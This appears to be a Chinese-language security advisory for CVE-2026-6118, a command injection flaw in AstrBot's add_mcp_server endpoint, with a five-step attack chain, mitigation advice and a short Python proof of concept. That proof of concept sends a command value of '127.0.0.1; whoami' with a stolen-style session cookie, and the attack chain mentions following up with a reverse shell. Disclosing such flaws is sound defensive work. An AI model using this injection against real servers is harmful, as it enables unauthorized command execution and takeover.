IPBUF安全漏洞报告
English
CVE-2026-6118 CVSS 6.3 中危

CVE-2026-6118 AstrBot命令注入漏洞

披露日期: 2026-04-12

漏洞信息

漏洞编号
CVE-2026-6118
漏洞类型
命令注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
AstrBotDevs AstrBot

相关标签

命令注入RCEAstrBotCVE-2026-6118MCP Endpoint

漏洞概述

AstrBotDevs开发的AstrBot软件在4.22.1及之前的版本中存在安全漏洞。该漏洞位于`astrbot/dashboard/routes/tools.py`文件的`add_mcp_server`函数中。由于对传入的`command`参数缺乏严格的过滤,导致远程攻击者可通过构造恶意参数执行命令注入攻击。目前该漏洞细节已被公开披露,且官方尚未对此做出响应。

技术细节

该漏洞源于AstrBot组件中的MCP Endpoint处理逻辑缺陷。具体来说,在`astrbot/dashboard/routes/tools.py`文件的`add_mcp_server`函数内,程序未能正确净化用户输入的`command`参数。攻击者利用此漏洞,无需用户交互,仅需具备低权限账户即可通过网络发起攻击。通过在请求中注入特定的操作系统命令,攻击者可以欺骗后端应用执行恶意指令。这可能导致服务器上的敏感信息泄露、数据篡改或服务中断,对系统的机密性、完整性和可用性均造成影响。

攻击链分析

STEP 1
侦察
攻击者扫描网络识别运行AstrBot且版本低于4.22.1的目标。
STEP 2
获取权限
攻击者注册或获取一个低权限账户(PR:L),获取有效的会话Cookie。
STEP 3
漏洞利用
攻击者向`astrbot/dashboard/routes/tools.py`中的`add_mcp_server`接口发送特制的HTTP POST请求,在`command`参数中注入恶意Shell命令。
STEP 4
命令执行
服务器后端未过滤特殊字符,直接将参数传递给系统Shell执行,返回命令结果。
STEP 5
维持访问
根据返回的权限,攻击者可能进一步反弹Shell,控制服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL configuration target_url = "http://<target_ip>:<port>/api/tools/add_mcp_server" # Attacker's session cookie (required due to PR:L) cookies = { "session": "<low_privilege_session_cookie>" } # Payload attempting to inject a command (e.g., `whoami`) # Assuming the context allows shell command chaining malicious_command = "127.0.0.1; whoami" data = { "command": malicious_command, # Additional parameters required by the endpoint "name": "test_server" } try: response = requests.post(target_url, cookies=cookies, data=data) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") except Exception as e: print(f"Exploit failed: {e}")

影响范围

AstrBotDevs AstrBot <= 4.22.1

防御指南

临时缓解措施
在未升级版本前,建议管理员通过防火墙规则阻断对`/tools/add_mcp_server`路径的外部访问。同时,应审查系统日志,检查是否存在针对该接口的异常请求记录。如果业务允许,可暂时禁用MCP相关功能以规避风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表